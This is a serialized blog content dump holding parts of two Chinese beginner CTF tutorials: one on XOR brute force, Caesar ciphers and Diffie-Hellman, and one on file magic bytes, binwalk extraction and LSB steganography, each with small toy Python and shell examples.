range(256):\n",[32,3630,3631],{"class":34,"line":175},[32,3632,3633],{},"    # 枚举 0-255 共 256 个可能的单字节密钥。\n",[32,3635,3636],{"class":34,"line":181},[32,3637,3638],{},"    plain = bytes([b ^ k for b in cipher])\n",[32,3640,3641],{"class":34,"line":187},[32,3642,3643],{},"    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n",[32,3645,3646],{"class":34,"line":193},[32,3647,3648],{},"    # 异或的自反性保证：加密用 key，解密用同一个 key。\n",[32,3650,3651],{"class":34,"line":200},[32,3652,3653],{},"    if b\"flag{\" in plain:\n",[32,3655,3656],{"class":34,"line":206},[32,3657,3658],{},"        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n",[32,3660,3661],{"class":34,"line":212},[32,3662,3663],{},"        print(\"key =\", k)           # 输出密钥数值\n",[32,3665,3666],{"class":34,"line":218},[32,3667,3668],{},"        print(plain.decode())       # 输出解密出的明文\n",[32,3670,3671],{"class":34,"line":224},[32,3672,3673],{},"        break\n",[32,3675,3676],{"class":34,"line":230},[32,3677,3678],{},"        # 找到即停止，避免继续打印无意义结果。\n",[15,3680,254],{},[22,3682,3685],{"className":3683,"code":3684,"language":110,"meta":27},[108],"key = 66\nflag{xor_is_easy}\n",[29,3686,3684],{"__ignoreMap":27},[15,3688,3689,3690,3692],{},"判断依据：明文包含 ",[29,3691,3599],{}," 前缀。CTF 里 flag 都有固定格式，这就是天然的校验。",[283,3694,3696],{"id":3695},"_33-多字节-xor-简介","3.3 多字节 XOR 简介",[15,3698,3699,3700,1598],{},"密钥是多个字节循环使用时，先猜密钥长度，再对每个位置分别做单字节分析。工具 ",[29,3701,3702],{},"xortool",[22,3704,3706],{"className":77,"code":3705,"language":79,"meta":27,"style":27},"pip install xortool\nxortool -x -c 20 cipher.bin\n",[29,3707,3708,3718],{"__ignoreMap":27},[32,3709,3710,3713,3715],{"class":34,"line":35},[32,3711,3712],{"class":86},"pip",[32,3714,91],{"class":90},[32,3716,3717],{"class":90}," xortool\n",[32,3719,3720,3722,3725,3728,3731],{"class":34,"line":41},[32,3721,3702],{"class":86},[32,3723,3724],{"class":1016}," -x",[32,3726,3727],{"class":1016}," -c",[32,3729,3730],{"class":1016}," 20",[32,3732,3733],{"class":90}," cipher.bin\n",[10,3735,3737],{"id":3736},"四核心知识-2凯撒密码","四、核心知识 2：凯撒密码",[15,3739,3740],{},"每个字母平移固定位数：",[22,3742,3744],{"className":24,"code":3743,"language":26,"meta":27,"style":27},"def caesar(s, shift):\n    out = \"\"\n    for c in s:\n        if c.isalpha():\n            base = ord('a') if c.islower() else ord('A')\n            out += chr((ord(c) - base + shift) % 26 + base)\n        else:\n            out += c\n    return out\n\nprint(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\nprint(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[29,3745,3746,3751,3756,3761,3766,3771,3776,3781,3786,3791,3795,3800],{"__ignoreMap":27},[32,3747,3748],{"class":34,"line":35},[32,3749,3750],{},"def caesar(s, shift):\n",[32,3752,3753],{"class":34,"line":41},[32,3754,3755],{},"    out = \"\"\n",[32,3757,3758],{"class":34,"line":47},[32,3759,3760],{},"    for c in s:\n",[32,3762,3763],{"class":34,"line":53},[32,3764,3765],{},"        if c.isalpha():\n",[32,3767,3768],{"class":34,"line":175},[32,3769,3770],{},"            base = ord('a') if c.islower() else ord('A')\n",[32,3772,3773],{"class":34,"line":181},[32,3774,3775],{},"            out += chr((ord(c) - base + shift) % 26 + base)\n",[32,3777,3778],{"class":34,"line":187},[32,3779,3780],{},"        else:\n",[32,3782,3783],{"class":34,"line":193},[32,3784,3785],{},"            out += c\n",[32,3787,3788],{"class":34,"line":200},[32,3789,3790],{},"    return out\n",[32,3792,3793],{"class":34,"line":206},[32,3794,197],{"emptyLinePlaceholder":196},[32,3796,3797],{"class":34,"line":212},[32,3798,3799],{},"print(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\n",[32,3801,3802],{"class":34,"line":218},[32,3803,3804],{},"print(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[15,3806,254],{},[22,3808,3811],{"className":3809,"code":3810,"language":110,"meta":27},[108],"iodj{fdhvdu_lv_ixq}\nflag{caesar_is_fun}\n",[29,3812,3810],{"__ignoreMap":27},[10,3814,3816],{"id":3815},"五核心知识-3dh-密钥协商","五、核心知识 3：DH 密钥协商",[283,3818,3820],{"id":3819},"_51-要解决的问题","5.1 要解决的问题",[15,3822,3823],{},"对称加密要求双方共享同一密钥，但互联网上的双方从未见过面，信道还可能被窃听。DH（Diffie-Hellman）解决\"在公开信道协商共享密钥\"。",[283,3825,3827],{"id":3826},"_52-流程","5.2 流程",[15,3829,3830,3832],{},[138,3831,140],{},"：理解双方如何在\"只看得到公开数值\"的情况下得到同一个秘密。",[15,3834,3835,3837],{},[138,3836,146],{},"：秘密不在信道上传输，而是双方各自用\"自己的私钥 + 对方的公钥\"算出同一个数。窃听者缺少任一个私钥，就算不出来。",[1826,3839,3840,3848,3857,3865],{},[1829,3841,3842,3843,3845,3846,320],{},"双方公开约定大素数 ",[29,3844,15],{}," 与生成元 ",[29,3847,1128],{},[1829,3849,3850,3851,3853,3854,320],{},"Alice 选私钥 ",[29,3852,441],{},"，发送 ",[29,3855,3856],{},"A = g^a mod p",[1829,3858,3859,3860,3853,3862,320],{},"Bob 选私钥 ",[29,3861,2032],{},[29,3863,3864],{},"B = g^b mod p",[1829,3866,3867,3868,3871,3872,3875,3876,320],{},"双方分别计算 ",[29,3869,3870],{},"B^a mod p"," 与 ",[29,3873,3874],{},"A^b mod p","，得到相同值 ",[29,3877,3878],{},"g^(ab) mod p",[283,3880,3882],{"id":3881},"_53-最小实现","5.3 最小实现",[22,3884,3886],{"className":24,"code":3885,"language":26,"meta":27,"style":27},"p, g = 0xffffffffffffffc5, 2\n# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n# g：生成元，双方公开约定。\na, b = 1234567, 7654321\n# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n\nA = pow(g, a, p)\n# pow(g, a, p) = g^a mod p，即快速幂取模。\n# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\nB = pow(g, b, p)\n# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n\ns_alice = pow(B, a, p)\n# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\ns_bob = pow(A, b, p)\n# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n# 两个结果相等，这就是共享密钥。\n\nprint(\"A =\", A)\nprint(\"B =\", B)\nprint(\"Alice 计算:\", s_alice)\nprint(\"Bob 计算:\", s_bob)\nprint(\"一致:\", s_alice == s_bob)\n# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[29,3887,3888,3892,3897,3902,3906,3911,3915,3920,3925,3930,3935,3940,3944,3949,3954,3959,3964,3969,3973,3978,3983,3988,3993,3998],{"__ignoreMap":27},[32,3889,3890],{"class":34,"line":35},[32,3891,38],{},[32,3893,3894],{"class":34,"line":41},[32,3895,3896],{},"# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n",[32,3898,3899],{"class":34,"line":47},[32,3900,3901],{},"# g：生成元，双方公开约定。\n",[32,3903,3904],{"class":34,"line":53},[32,3905,44],{},[32,3907,3908],{"class":34,"line":175},[32,3909,3910],{},"# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n",[32,3912,3913],{"class":34,"line":181},[32,3914,197],{"emptyLinePlaceholder":196},[32,3916,3917],{"class":34,"line":187},[32,3918,3919],{},"A = pow(g, a, p)\n",[32,3921,3922],{"class":34,"line":193},[32,3923,3924],{},"# pow(g, a, p) = g^a mod p，即快速幂取模。\n",[32,3926,3927],{"class":34,"line":200},[32,3928,3929],{},"# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\n",[32,3931,3932],{"class":34,"line":206},[32,3933,3934],{},"B = pow(g, b, p)\n",[32,3936,3937],{"class":34,"line":212},[32,3938,3939],{},"# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n",[32,3941,3942],{"class":34,"line":218},[32,3943,197],{"emptyLinePlaceholder":196},[32,3945,3946],{"class":34,"line":224},[32,3947,3948],{},"s_alice = pow(B, a, p)\n",[32,3950,3951],{"class":34,"line":230},[32,3952,3953],{},"# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\n",[32,3955,3956],{"class":34,"line":236},[32,3957,3958],{},"s_bob = pow(A, b, p)\n",[32,3960,3961],{"class":34,"line":242},[32,3962,3963],{},"# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n",[32,3965,3966],{"class":34,"line":248},[32,3967,3968],{},"# 两个结果相等，这就是共享密钥。\n",[32,3970,3971],{"class":34,"line":628},[32,3972,197],{"emptyLinePlaceholder":196},[32,3974,3975],{"class":34,"line":633},[32,3976,3977],{},"print(\"A =\", A)\n",[32,3979,3980],{"class":34,"line":639},[32,3981,3982],{},"print(\"B =\", B)\n",[32,3984,3985],{"class":34,"line":645},[32,3986,3987],{},"print(\"Alice 计算:\", s_alice)\n",[32,3989,3990],{"class":34,"line":651},[32,3991,3992],{},"print(\"Bob 计算:\", s_bob)\n",[32,3994,3995],{"class":34,"line":657},[32,3996,3997],{},"print(\"一致:\", s_alice == s_bob)\n",[32,3999,4000],{"class":34,"line":663},[32,4001,4002],{},"# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[15,4004,254],{},[22,4006,4009],{"className":4007,"code":4008,"language":110,"meta":27},[108],"A = 6842530808116395773\nB = 3514199851527377648\nAlice 计算: 17750252846772688935\nBob 计算: 17750252846772688935\n一致: True\n",[29,4010,4008],{"__ignoreMap":27},[15,4012,4013,4014,4017,4018,4020],{},"窃听者只能看到 ",[29,4015,4016],{},"p, g, A, B","，要算出 ",[29,4019,441],{}," 必须求解离散对数，参数足够大时不可行。HTTPS 的 TLS 协议正是用 DH 协商密钥、用 RSA/ECDSA 证书认证身份。",[10,4022,2075],{"id":2074},[283,4024,4026],{"id":4025},"工具-1cyberchef","工具 1：CyberChef",[15,4028,4029],{},"浏览器工具，三个常用操作：",[732,4031,4032,4042],{},[735,4033,4034],{},[738,4035,4036,4039],{},[741,4037,4038],{},"操作",[741,4040,4041],{},"用法",[748,4043,4044,4052,4060],{},[738,4045,4046,4049],{},[753,4047,4048],{},"From Base64",[753,4050,4051],{},"左侧搜 Base64 拖入，粘贴密文，自动解码",[738,4053,4054,4057],{},[753,4055,4056],{},"From Hex",[753,4058,4059],{},"拖入 From Hex 解码十六进制",[738,4061,4062,4065],{},[753,4063,4064],{},"Magic",[753,4066,4067],{},"直接粘贴未知文本，自动猜测编码方式",[283,4069,4071],{"id":4070},"工具-2python-标准库","工具 2：Python 标准库",[22,4073,4075],{"className":24,"code":4074,"language":26,"meta":27,"style":27},"import base64, binascii\n\nprint(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\nprint(bytes.fromhex(\"666c6167\"))      # b'flag'\nprint(ord('A'))                       # 65，ASCII 编码\n",[29,4076,4077,4082,4086,4091,4096],{"__ignoreMap":27},[32,4078,4079],{"class":34,"line":35},[32,4080,4081],{},"import base64, binascii\n",[32,4083,4084],{"class":34,"line":41},[32,4085,197],{"emptyLinePlaceholder":196},[32,4087,4088],{"class":34,"line":47},[32,4089,4090],{},"print(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\n",[32,4092,4093],{"class":34,"line":53},[32,4094,4095],{},"print(bytes.fromhex(\"666c6167\"))      # b'flag'\n",[32,4097,4098],{"class":34,"line":175},[32,4099,4100],{},"print(ord('A'))                       # 65，ASCII 编码\n",[283,4102,4104],{"id":4103},"工具-3pycryptodome","工具 3：pycryptodome",[15,4106,4107],{},"CTF 密码学最常用的库，三个函数：",[22,4109,4111],{"className":24,"code":4110,"language":26,"meta":27,"style":27},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n\nprint(inverse(3, 7))                    # 5：3 在模 7 下的逆元\nprint(long_to_bytes(0x666c6167))        # b'flag'\nprint(bytes_to_long(b\"flag\"))           # 1718378855\n",[29,4112,4113,4118,4122,4127,4132],{"__ignoreMap":27},[32,4114,4115],{"class":34,"line":35},[32,4116,4117],{},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n",[32,4119,4120],{"class":34,"line":41},[32,4121,197],{"emptyLinePlaceholder":196},[32,4123,4124],{"class":34,"line":47},[32,4125,4126],{},"print(inverse(3, 7))                    # 5：3 在模 7 下的逆元\n",[32,4128,4129],{"class":34,"line":53},[32,4130,4131],{},"print(long_to_bytes(0x666c6167))        # b'flag'\n",[32,4133,4134],{"class":34,"line":175},[32,4135,4136],{},"print(bytes_to_long(b\"flag\"))           # 1718378855\n",[15,4138,254],{},[22,4140,4143],{"className":4141,"code":4142,"language":110,"meta":27},[108],"5\nb'flag'\n1718378855\n",[29,4144,4142],{"__ignoreMap":27},[10,4146,4148],{"id":4147},"七小-ctf-实战单字节-xor","七、小 CTF 实战：单字节 XOR",[15,4150,4151],{},"题目：给出密文 hex，提示\"密钥是一个字节，明文是 flag\"。",[22,4153,4155],{"className":4154,"code":3580,"language":110,"meta":27},[108],[29,4156,3580],{"__ignoreMap":27},[15,4158,4159],{},"解题脚本：",[15,4161,4162,4164,4165,4167],{},[138,4163,146],{},"：密文是字节串，密钥只可能 0-255；逐个试，用 ",[29,4166,3599],{}," 前缀过滤正确结果。",[22,4169,4171],{"className":24,"code":4170,"language":26,"meta":27,"style":27},"from binascii import unhexlify\n# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n\ncipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n\nfor k in range(256):\n    plain = bytes([b ^ k for b in cipher])\n    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n    if b\"flag{\" in plain:\n        print(\"key =\", k)          # 预期 66\n        print(plain.decode())      # 预期 flag{xor_is_easy}\n        break\n",[29,4172,4173,4178,4183,4187,4192,4196,4200,4204,4209,4213,4218,4223],{"__ignoreMap":27},[32,4174,4175],{"class":34,"line":35},[32,4176,4177],{},"from binascii import unhexlify\n",[32,4179,4180],{"class":34,"line":41},[32,4181,4182],{},"# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n",[32,4184,4185],{"class":34,"line":47},[32,4186,197],{"emptyLinePlaceholder":196},[32,4188,4189],{"class":34,"line":53},[32,4190,4191],{},"cipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n",[32,4193,4194],{"class":34,"line":175},[32,4195,197],{"emptyLinePlaceholder":196},[32,4197,4198],{"class":34,"line":181},[32,4199,3628],{},[32,4201,4202],{"class":34,"line":187},[32,4203,3638],{},[32,4205,4206],{"class":34,"line":193},[32,4207,4208],{},"    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n",[32,4210,4211],{"class":34,"line":200},[32,4212,3653],{},[32,4214,4215],{"class":34,"line":206},[32,4216,4217],{},"        print(\"key =\", k)          # 预期 66\n",[32,4219,4220],{"class":34,"line":212},[32,4221,4222],{},"        print(plain.decode())      # 预期 flag{xor_is_easy}\n",[32,4224,4225],{"class":34,"line":218},[32,4226,3673],{},[15,4228,254],{},[22,4230,4232],{"className":4231,"code":3684,"language":110,"meta":27},[108],[29,4233,3684],{"__ignoreMap":27},[10,4235,2368],{"id":2367},[15,4237,4238],{},"密码学入门三点：编码识别（Base64/Hex/URL）、XOR 与单字节爆破、DH 的数学原理。这三样足以解决入门级密码题；RSA 与分组密码的误用攻击见《RSA 深入实战》。",[1051,4240,1053],{},{"title":27,"searchDepth":41,"depth":41,"links":4242},[4243,4244,4245,4246,4247,4248,4249,4250],{"id":3276,"depth":47,"text":3277},{"id":73,"depth":47,"text":74},{"id":3509,"depth":47,"text":3510},{"id":3736,"depth":47,"text":3737},{"id":3815,"depth":47,"text":3816},{"id":2074,"depth":47,"text":2075},{"id":4147,"depth":47,"text":4148},{"id":2367,"depth":47,"text":2368},"编码在现实网络中的应用、单字节 XOR 的加密与爆破、DH 密钥协商的最小实现。",{"date":1069,"image":4253,"alt":4254,"tags":4255,"published":196},"/blogs-img/blog3.png","CTF 密码学入门",[1073,1074,1076],"/blogs/ctf-crypto-overview",{"title":3271,"description":4251},"blogs/12. ctf-crypto-overview","DxG_dqKWLnmfDkyKuCyhXivf1lWCPPVHNvci7wmQWK8",{"id":4261,"title":4262,"body":4263,"description":5207,"extension":1067,"meta":5208,"navigation":196,"ogImage":5209,"path":5213,"seo":5214,"stem":5215,"__hash__":5216},"content/blogs/13. ctf-misc-overview.md","CTF Misc 入门：文件头、binwalk 与 LSB 隐写",{"type":7,"value":4264,"toc":5197},[4265,4269,4279,4282,4342,4344,4377,4381,4385,4390,4395,4407,4409,4415,4422,4445,4449,4454,4477,4479,4485,4495,4499,4504,4515,4536,4539,4543,4546,4559,4561,4567,4570,4583,4590,4597,4608,4612,4616,4619,4625,4628,4632,4637,4831,4845,4849,4854,4859,4989,4991,4997,5001,5026,5032,5034,5105,5109,5114,5117,5128,5133,5136,5154,5157,5160,5170,5173,5176,5181,5183,5194],[10,4266,4268],{"id":4267},"一现实背景扩展名不可信","一、现实背景：扩展名不可信",[15,4270,4271,4272,4275,4276,320],{},"操作系统按扩展名选择打开程序（",[29,4273,4274],{},".png"," 用图片查看器），但文件的真实类型由文件头（magic bytes）决定。日常中\"把 zip 改成 png\"会让图片查看器报错；取证中则要反过来：",[138,4277,4278],{},"先看文件头，再信扩展名",[15,4280,4281],{},"必须记住的三个文件头：",[732,4283,4284,4297],{},[735,4285,4286],{},[738,4287,4288,4291,4294],{},[741,4289,4290],{},"文件",[741,4292,4293],{},"文件头（hex）",[741,4295,4296],{},"明文",[748,4298,4299,4314,4327],{},[738,4300,4301,4304,4309],{},[753,4302,4303],{},"PNG",[753,4305,4306],{},[29,4307,4308],{},"89 50 4E 47 0D 0A 1A 0A",[753,4310,4311],{},[29,4312,4313],{},"‰PNG",[738,4315,4316,4319,4324],{},[753,4317,4318],{},"JPEG",[753,4320,4321],{},[29,4322,4323],{},"FF D8 FF",[753,4325,4326],{},"—",[738,4328,4329,4332,4337],{},[753,4330,4331],{},"ZIP",[753,4333,4334],{},[29,4335,4336],{},"50 4B 03 04",[753,4338,4339],{},[29,4340,4341],{},"PK",[10,4343,74],{"id":73},[22,4345,4347],{"className":77,"code":4346,"language":79,"meta":27,"style":27},"apt install file binutils binwalk foremost exiftool\npip3 install pillow\n",[29,4348,4349,4368],{"__ignoreMap":27},[32,4350,4351,4353,4355,4357,4359,4362,4365],{"class":34,"line":35},[32,4352,1163],{"class":86},[32,4354,91],{"class":90},[32,4356,1168],{"class":90},[32,4358,1171],{"class":90},[32,4360,4361],{"class":90}," binwalk",[32,4363,4364],{"class":90}," foremost",[32,4366,4367],{"class":90}," exiftool\n",[32,4369,4370,4372,4374],{"class":34,"line":41},[32,4371,87],{"class":86},[32,4373,91],{"class":90},[32,4375,4376],{"class":90}," pillow\n",[10,4378,4380],{"id":4379},"三核心技能-1file-与-xxd","三、核心技能 1：file 与 xxd",[283,4382,4384],{"id":4383},"_31-file看真实类型","3.1 file：看真实类型",[15,4386,4387,4389],{},[138,4388,140],{},"：判断题目文件到底是图片、压缩包还是其他东西，避免被扩展名误导。",[15,4391,4392,4394],{},[138,4393,1685],{},"：看输出的第一段描述（PNG image data / Zip archive data / PDF document ...）。",[22,4396,4398],{"className":77,"code":4397,"language":79,"meta":27,"style":27},"file hidden.png\n",[29,4399,4400],{"__ignoreMap":27},[32,4401,4402,4404],{"class":34,"line":35},[32,4403,1218],{"class":86},[32,4405,4406],{"class":90}," hidden.png\n",[15,4408,254],{},[22,4410,4413],{"className":4411,"code":4412,"language":110,"meta":27},[108],"hidden.png: PNG image data, 8 x 8, 8-bit/color RGB, non-interlaced\n",[29,4414,4412],{"__ignoreMap":27},[15,4416,4417,4418,4421],{},"如果输出是 ",[29,4419,4420],{},"Zip archive data","，说明文件其实是 zip：",[22,4423,4425],{"className":77,"code":4424,"language":79,"meta":27,"style":27},"mv flag.png flag.zip && unzip flag.zip\n",[29,4426,4427],{"__ignoreMap":27},[32,4428,4429,4432,4435,4438,4440,4442],{"class":34,"line":35},[32,4430,4431],{"class":86},"mv",[32,4433,4434],{"class":90}," flag.png",[32,4436,4437],{"class":90}," flag.zip",[32,4439,1818],{"class":1127},[32,4441,1795],{"class":86},[32,4443,4444],{"class":90}," flag.zip\n",[283,4446,4448],{"id":4447},"_32-xxd看文件头","3.2 xxd：看文件头",[15,4450,4451,4453],{},[138,4452,140],{},"：用肉眼确认文件开头的魔数，验证 file 的判断，也为手工分析文件结构做准备。",[22,4455,4457],{"className":77,"code":4456,"language":79,"meta":27,"style":27},"xxd -l 16 hidden.png\n# -l 16：只显示前 16 个字节，看文件头足够。\n",[29,4458,4459,4472],{"__ignoreMap":27},[32,4460,4461,4464,4467,4470],{"class":34,"line":35},[32,4462,4463],{"class":86},"xxd",[32,4465,4466],{"class":1016}," -l",[32,4468,4469],{"class":1016}," 16",[32,4471,4406],{"class":90},[32,4473,4474],{"class":34,"line":41},[32,4475,4476],{"class":2592},"# -l 16：只显示前 16 个字节，看文件头足够。\n",[15,4478,254],{},[22,4480,4483],{"className":4481,"code":4482,"language":110,"meta":27},[108],"00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR\n",[29,4484,4482],{"__ignoreMap":27},[15,4486,4487,4488,4491,4492,320],{},"开头的 ",[29,4489,4490],{},"89 50 4e 47 0d 0a 1a 0a"," 正是 PNG 魔数，右侧明文是 ",[29,4493,4494],{},".PNG",[283,4496,4498],{"id":4497},"_33-strings搜字符串","3.3 strings：搜字符串",[15,4500,4501,4503],{},[138,4502,140],{},"：快速判断 flag 是不是直接以文本形式藏在文件里。",[15,4505,4506,1598,4508,4510,4511,4514],{},[138,4507,146],{},[29,4509,1262],{}," 把可打印字符串抽出来，",[29,4512,4513],{},"grep -i flag"," 过滤含 flag 的行。有输出 = 直接提取；无输出 = 可能是隐写，进入下一步。",[22,4516,4518],{"className":77,"code":4517,"language":79,"meta":27,"style":27},"strings flag.png | grep -i flag\n",[29,4519,4520],{"__ignoreMap":27},[32,4521,4522,4524,4526,4528,4530,4533],{"class":34,"line":35},[32,4523,1262],{"class":86},[32,4525,4434],{"class":90},[32,4527,1449],{"class":1120},[32,4529,1452],{"class":86},[32,4531,4532],{"class":1016}," -i",[32,4534,4535],{"class":90}," flag\n",[15,4537,4538],{},"有输出说明 flag 直接以文本形式藏在文件里；无输出则可能是隐写。",[10,4540,4542],{"id":4541},"四核心技能-2binwalk-提取隐藏文件","四、核心技能 2：binwalk 提取隐藏文件",[15,4544,4545],{},"文件可以追加在其他文件之后（如图片尾部拼接 zip）。扫描：",[22,4547,4549],{"className":77,"code":4548,"language":79,"meta":27,"style":27},"binwalk flag.png\n",[29,4550,4551],{"__ignoreMap":27},[32,4552,4553,4556],{"class":34,"line":35},[32,4554,4555],{"class":86},"binwalk",[32,4557,4558],{"class":90}," flag.png\n",[15,4560,1224],{},[22,4562,4565],{"className":4563,"code":4564,"language":110,"meta":27},[108],"DECIMAL  HEXADECIMAL  DESCRIPTION\n0        0x0           PNG image, 500 x 500\n12345    0x3039        Zip archive data\n",[29,4566,4564],{"__ignoreMap":27},[15,4568,4569],{},"提取：",[22,4571,4573],{"className":77,"code":4572,"language":79,"meta":27,"style":27},"binwalk -e flag.png\n",[29,4574,4575],{"__ignoreMap":27},[32,4576,4577,4579,4581],{"class":34,"line":35},[32,4578,4555],{"class":86},[32,4580,1023],{"class":1016},[32,4582,4558],{"class":90},[15,4584,4585,4586,4589],{},"会在当前目录生成 ",[29,4587,4588],{},"_flag.png.extracted"," 文件夹，里面是提取出的 zip。",[15,4591,4592,4593,4596],{},"备选工具 ",[29,4594,4595],{},"foremost","（按文件头暴力切割）：",[22,4598,4600],{"className":77,"code":4599,"language":79,"meta":27,"style":27},"foremost flag.png\n",[29,4601,4602],{"__ignoreMap":27},[32,4603,4604,4606],{"class":34,"line":35},[32,4605,4595],{"class":86},[32,4607,4558],{"class":90},[10,4609,4611],{"id":4610},"五核心技能-3lsb-隐写完整实现","五、核心技能 3：LSB 隐写（完整实现）",[283,4613,4615],{"id":4614},"_51-原理","5.1 原理",[15,4617,4618],{},"RGB 像素每个通道是一个 0-255 的字节。把每个字节的最低位（LSB）替换成秘密比特，像素值最多变化 1，肉眼不可察觉：",[22,4620,4623],{"className":4621,"code":4622,"language":110,"meta":27},[108],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101    ← 最低位依次写入 1,0,1\n",[29,4624,4622],{"__ignoreMap":27},[15,4626,4627],{},"一张 500×500 的图能藏 500×500×3 比特 ≈ 93 KB。",[283,4629,4631],{"id":4630},"_52-隐藏出题人视角","5.2 隐藏（出题人视角）",[15,4633,4634,4636],{},[138,4635,140],{},"：理解\"把秘密写进像素最低位\"的具体实现，便于反向写出提取脚本。",[22,4638,4640],{"className":24,"code":4639,"language":26,"meta":27,"style":27},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建一张图片。\n# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# message.encode()：把字符串按 UTF-8 转成字节串。\n# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\nbits = ''.join(f'{b:08b}' for b in data)\n# 把每个字节转成 8 位二进制字符串并拼接。\n# 例：b'f'=0x66=01100110，8 位拼进 bits。\npixels = list(img.getdata())\n# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n    new_pixels.append((r, g, b))\n    # 修改后的像素放入新列表。\n\nimg.putdata(new_pixels)\n# putdata()：把新像素列表写回图片对象。\nimg.save('hidden.png')\n# save()：按扩展名格式保存为 PNG 文件。\nprint(\"已生成 hidden.png\")\n",[29,4641,4642,4647,4652,4656,4661,4666,4671,4676,4680,4685,4690,4695,4700,4705,4710,4715,4720,4724,4729,4734,4739,4744,4749,4754,4759,4763,4768,4773,4777,4782,4787,4792,4797,4801,4807,4813,4819,4825],{"__ignoreMap":27},[32,4643,4644],{"class":34,"line":35},[32,4645,4646],{},"from PIL import Image\n",[32,4648,4649],{"class":34,"line":41},[32,4650,4651],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n",[32,4653,4654],{"class":34,"line":47},[32,4655,197],{"emptyLinePlaceholder":196},[32,4657,4658],{"class":34,"line":53},[32,4659,4660],{},"img = Image.new('RGB', (8, 8), (200, 150, 100))\n",[32,4662,4663],{"class":34,"line":175},[32,4664,4665],{},"# Image.new(mode, size, color)：新建一张图片。\n",[32,4667,4668],{"class":34,"line":181},[32,4669,4670],{},"# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\n",[32,4672,4673],{"class":34,"line":187},[32,4674,4675],{},"message = \"flag{lsb_steganography}\"\n",[32,4677,4678],{"class":34,"line":193},[32,4679,197],{"emptyLinePlaceholder":196},[32,4681,4682],{"class":34,"line":200},[32,4683,4684],{},"data = message.encode() + b'\\x00'\n",[32,4686,4687],{"class":34,"line":206},[32,4688,4689],{},"# message.encode()：把字符串按 UTF-8 转成字节串。\n",[32,4691,4692],{"class":34,"line":212},[32,4693,4694],{},"# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\n",[32,4696,4697],{"class":34,"line":218},[32,4698,4699],{},"bits = ''.join(f'{b:08b}' for b in data)\n",[32,4701,4702],{"class":34,"line":224},[32,4703,4704],{},"# 把每个字节转成 8 位二进制字符串并拼接。\n",[32,4706,4707],{"class":34,"line":230},[32,4708,4709],{},"# 例：b'f'=0x66=01100110，8 位拼进 bits。\n",[32,4711,4712],{"class":34,"line":236},[32,4713,4714],{},"pixels = list(img.getdata())\n",[32,4716,4717],{"class":34,"line":242},[32,4718,4719],{},"# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n",[32,4721,4722],{"class":34,"line":248},[32,4723,197],{"emptyLinePlaceholder":196},[32,4725,4726],{"class":34,"line":628},[32,4727,4728],{},"new_pixels = []\n",[32,4730,4731],{"class":34,"line":633},[32,4732,4733],{},"i = 0\n",[32,4735,4736],{"class":34,"line":639},[32,4737,4738],{},"for r, g, b in pixels:\n",[32,4740,4741],{"class":34,"line":645},[32,4742,4743],{},"    if i \u003C len(bits):\n",[32,4745,4746],{"class":34,"line":651},[32,4747,4748],{},"        r = (r & 0xfe) | int(bits[i]); i += 1\n",[32,4750,4751],{"class":34,"line":657},[32,4752,4753],{},"        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n",[32,4755,4756],{"class":34,"line":663},[32,4757,4758],{},"        # | int(bits[i])：把秘密比特写进最低位；i 